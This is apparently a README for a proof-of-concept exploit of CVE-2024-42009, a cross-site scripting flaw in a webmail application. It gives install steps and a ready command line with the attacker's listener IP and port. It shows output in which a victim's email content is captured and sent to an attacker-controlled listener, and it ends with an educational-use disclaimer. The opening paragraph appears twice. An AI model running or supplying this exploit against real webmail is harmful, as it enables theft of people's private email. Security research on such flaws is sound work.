
This Proof of Concept (PoC) demonstrates an exploit for CVE-2024-42009, leveraging a cross-site scripting (XSS) vulnerability to extract emails from a target webmail application. The attack injects a malicious payload that exfiltrates email content to an attacker-controlled listener.
This Proof of Concept (PoC) demonstrates an exploit for CVE-2024-42009, leveraging a cross-site scripting (XSS) vulnerability to extract emails from a target webmail application. The attack injects a malicious payload that exfiltrates email content to an attacker-controlled listener.
pip install requests beautifulsoup4
Run the script with the necessary arguments:
python exploit.py -fu [email protected] -tu [email protected] -u http://target.com/contact -ip YOUR_IP -p 1337
[*] CVE-2024-42009 PoC: Listening on 192.168.1.100:1337...
[*] Sending payload for UID 1...
[+] Payload sent for UID 1 (Status: 200)
[+] Captured Email Content:
Hello, this is a test email!
I do not claim credit/ownership/disclosure of the vulnerability and all corresponding exploits hosted in this GitHub repo - All Credits to the researcher who discovered it; i just created a POC to replicate the vulnerability based on the data from internet. This PoC is for educational and research purposes only. Unauthorized testing against systems without consent is illegal. Use responsibly!
| Argument | Description |
|---|
-fu, --from-user | The sender's email address |
-tu, --to-user | The recipient's email address |
-u, --target-url | The target webmail URL |
-ip, --server-ip | The attacker's listener IP address |
-p, --server-port | The port for the listener (default: 1337) |